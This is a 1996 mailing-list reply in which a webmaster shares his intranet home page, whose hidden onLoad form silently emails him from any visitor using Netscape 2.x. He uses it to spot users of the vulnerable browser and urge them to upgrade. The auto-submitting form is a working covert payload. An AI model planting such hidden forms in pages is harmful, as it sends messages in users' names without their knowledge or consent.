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Subject: Re: BoS: Netscape2.0 sends mail to the world without authority -Reply
From: Bob Allison <ballison @ mailhub . scitexdpi . com>
Date: Mon, 29 Apr 1996 14:11:45 -0400
To: fay @ bliss . stetson . edu
Cc: firewalls @ GreatCircle . COM

Here is an excerpt of the home page I use on our internal Web server so I
can locate people using Netscape 2.x set up for mail:

<html>
<head>
<title>SCITEX Digital Printing Home Page</title>
</head>
<body onLoad="document.mailme.submit()">
<form method=post name="mailme"
action="mailto:ballison @
 scitexdpi .
 com?subject=NetScape2">
<input type=hidden name="hi" value="there">
</form>
<h1>SCITEX Digital Printing Home Page</h1>
	.
	.
	.
<address>Send comments to:  Bob Allison,
<a href="mailto:webmaster @
 scitexdpi .
 com">webmaster @
 scitexdpi .
 com</a>
</address>
</body>
</html>


When I get a message like this, I send the following message:

This message is a request to please stop using Netscape v2.  There are several
severe security problems with it, one of which sent a message to me telling me
you are using the software.  That hole would allow someone to write a web page
which, for instance, sends a message to <Corp. Pres.> telling him how rotten
of a manager he is (probably using a lot of four-letter words); since the
message came from you, what do you think <Pres.> would think?


Using this method, I have yet to have someone complain about not using Netscape
2.x.  Best of luck to you...

------------------- WELCOME.HTM follows --------------------
<html>

<head>

<title>SCITEX Digital Printing Home Page</title>

<meta name="CreatedBy" content="WP Internet Publisher 6.1">

</head>

<body onLoad="document.mailme.submit()">
<form method=post name="mailme" action="mailto:ballison @
 scitexdpi .
 com?subject=NetScape2">
<input type=hidden name="hi" value="there">
</form>

<h1>SCITEX Digital Printing Home Page</h1>

<img src="/images/sctx400s.gif"><p>



<hr>

<p>



Welcome to the SCITEX Digital Printing, Inc. World Wide Web (WWW) server.  <b>PLEASE

NOTE that all WWW access is logged along with dates, times, and URL's viewed.</b> 

<a href="genstats.htm">Statistics</a> regarding WWW usage are generated on demand from these logs.<p>



<hr>

<p>



<center><a href="service.htm">Previous service updates</a> are available for review.<p>



</center>

<h1><!--<b>**Service Update (12-Oct-95)**<p>



If you upgraded to Netscape 1.2N prior to 12-Oct-95, you will need to adjust one proxy setting.  The

hostname for the FTP proxy was mistakenly left to

read "inetgate.scitexdpi.com"; it should read

"www.scitexdpi.com".  You will need to make this

correction to be able to access FTP sites from

Netscape.  This setting can be found under the

Proxies tab of the Preferences

(Options/Preferences...).<p>



  If you have not yet upgraded to Netscape 1.2N, it

is recommended that you do so as soon as

possible, since that is the only version of Netscape

which is being supported. <a href="netsc12.htm">Installation instructions</a>

are ready.--></h1>

<hr>

<p>



A <a href="http://www.scitex.com/";>SCITEX Corporate WWW site</a> is being built for global access.  It is going to have

information on all the subsidiaries and their products.<p>



<a href="nethelp/">Information on using the network</a> is available.  It is currently being re-written and updated, so

some things might be missing.<p>



An <a href="index.htm">Internal Information Index</a> is being developed.  These are pointers to sources of

information of general interest to SCITEX employees.  A list of <a href="ideas.htm">additional ideas</a> of how

SCITEX could use a document retrieval system such as this is also available.<p>



A list of <a href="provider.htm">Registered Information Providers</a> is available, along with <a href="newsrc.htm">instructions</a> on how to be

part of the list.<p>



<a href="/~srohrer/subject/subject.htm">Stan Rohrer's Subject Page</a> contains lots of pointers to Internet resources.<p>



Stan Rohrer is working on an <a href="http://server.scitexdpi.com:8000/";>experimental server</a> which is being used to try out various options

and possibilities.  Please be aware that, due to the nature of the server, it may not be up all the

time and may not be able to access external sites reliably.<p>



Stan Rohrer has a <a href="/~srohrer/inetdemo/inetdemo.htm">Demo</a> of some Internet related ideas for use at Scitex DPI .<p>



<hr>

<p>



<address>Send comments to:  Bob Allison, <a href="mailto:webmaster @
 scitexdpi .
 com">webmaster @
 scitexdpi .
 com</a>

</address>

Document name and date: /welcome, 06Dec95<p>





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